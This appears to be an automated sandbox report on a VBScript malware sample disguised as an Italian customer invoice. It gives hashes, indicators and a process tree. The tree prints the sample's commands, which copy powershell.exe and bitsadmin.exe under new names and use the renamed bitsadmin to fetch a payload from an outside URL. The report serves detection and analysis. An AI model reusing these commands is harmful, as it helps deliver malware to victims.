1b30d432a173c580e9c49c492974bb046d9702bb53a80eccd5c4137ecf9ef839

Analysis

Target
Fatt_cliente_07008120482.vbs
Size 4KB
Sample200713-76qs887gzx
SHA256 1b30d432a173c580e9c49c492974bb046d9702bb53a80eccd5c4137ecf9ef839
MD5 740e42ba34a3eb4f22a7f2ce3a738a5c
SHA1 ad8a96ca8d57f0d18ff06366d507d547deb051b0
SHA512 f15559533b8dadf6571e141347db4c90c4679fd57346760a4912d94d6dcc33b4049bc93565ae9acb75324b039c065f78a294dfff9594a73a6d7fcdbfee3bba54
MD5 SHA1 SHA512

Score

8^/10

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2916 wrote to memory of 416	2916	WScript.exe	66
PID 2916 wrote to memory of 416	2916	WScript.exe	66
PID 2916 wrote to memory of 808	2916	WScript.exe	68
PID 2916 wrote to memory of 808	2916	WScript.exe	68
PID 2916 wrote to memory of 812	2916	WScript.exe	70
PID 2916 wrote to memory of 812	2916	WScript.exe	70
PID 2916 wrote to memory of 812	2916	WScript.exe	70

Executes dropped EXE 1 IoCs

pid	Process
812	wubvVZY.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Fatt_cliente_07008120482.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Roaming\zwubvVZY.exe
  2⤵
  PID:416
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy /Z c:\Windows\SysWOW64\bitsadmin.exe C:\Users\Admin\AppData\Roaming\wubvVZY.exe
  2⤵
  PID:808
- C:\Users\Admin\AppData\Roaming\wubvVZY.exe
  "C:\Users\Admin\AppData\Roaming\wubvVZY.exe" /transfer VWCWnV /download https://sheyenneweber.com/webol/07008120482/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg
  2⤵
  - Executes dropped EXE
  PID:812